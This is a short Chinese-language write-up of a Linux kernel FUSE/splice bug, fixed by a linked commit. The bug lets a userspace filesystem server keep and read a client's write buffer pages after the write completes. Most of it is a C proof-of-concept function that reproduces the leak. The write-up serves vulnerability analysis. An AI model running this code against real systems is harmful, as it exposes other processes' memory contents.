修复链接：https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit?id=0c4bcfdecb1ac0967619ee7ff44871d93c08c909 该漏洞主要是由于漏洞的主要只由于splice的异步的特性，导致可以在用户文件系统进程中（服务端）保留服务请求的进程（客户端）的一段内存。文件系统进程在write关闭后仍然保持着对write源内存页的引用（文件系统进程只有读的权限，个人感觉危害不大:(）。 核心的逻辑如下，当客户端的page放入pipe之后，先向客户端回复fuse的write请求让write结束，这时pipe中仍然保留write的src的page的引用，再write结束之后再读取src的内容。
void fuse_do_write(fd)
{
fflush(stdout);
puts("-----------------------");
puts("[+] start do_write");
// splice read requset from pipe
puts("[+] create pipe");
int pfd[2], ret;
ret = pipe(pfd);
if (ret < 0)
fatal("pipe");
size_t bufsize = getpagesize() + 0x1000;
ret = splice(fd, NULL, pfd[1], NULL, bufsize, 0);
if (ret < 0)
fatal("splice");
// 通过splice读取头部；
struct fuse_in_header in;
ret = read(pfd[0], &in, sizeof(struct fuse_in_header));
if (ret < 0)
fatal("read head");
fuse_show_req_head(&in);
puts("[+] send reply finish write");//回复write请求
struct fuse_write_out outarg;
outarg.size = 1;
outarg.padding = 0;
printf("unique: %d\n", in.unique);
fuse_send_reply(fd, &outarg, sizeof(outarg), 0, in.unique);
// 阻塞等待子进程write结束
int t = 0;
do
{
fflush(stdout);
puts("[+] input 1 to contine, other to block");
scanf("%d", &t);
puts("[+] ...");
} while (t != 1);
struct fuse_write_in inarg;
struct fuse_bufvec bufv;
ret = read(pfd[0], &inarg, sizeof(struct fuse_write_in));
if (ret < 0)
fatal("read write in");
printf("[+] write in:\n");
printf("\tfh:\t%lld\n", inarg.fh);
printf("\toffset:\t%lld\n", inarg.offset);
printf("\tsize:\t%d\n", inarg.size);
printf("\twrite_flags:\t%d\n", inarg.write_flags);
printf("\tlock_owner:\t%llx\n", inarg.lock_owner);
printf("\tflags:\t%d\n", inarg.flags);
printf("\tpadding:\t%d\n", inarg.padding);
ret = read(pfd[0], &bufv, sizeof(bufv)); //客户端write结束以后再读取page
printf("bufv:\t%s\n", (char *)&bufv);
puts("[+] end do_write");
close(pfd[0]);
close(pfd[1]);
}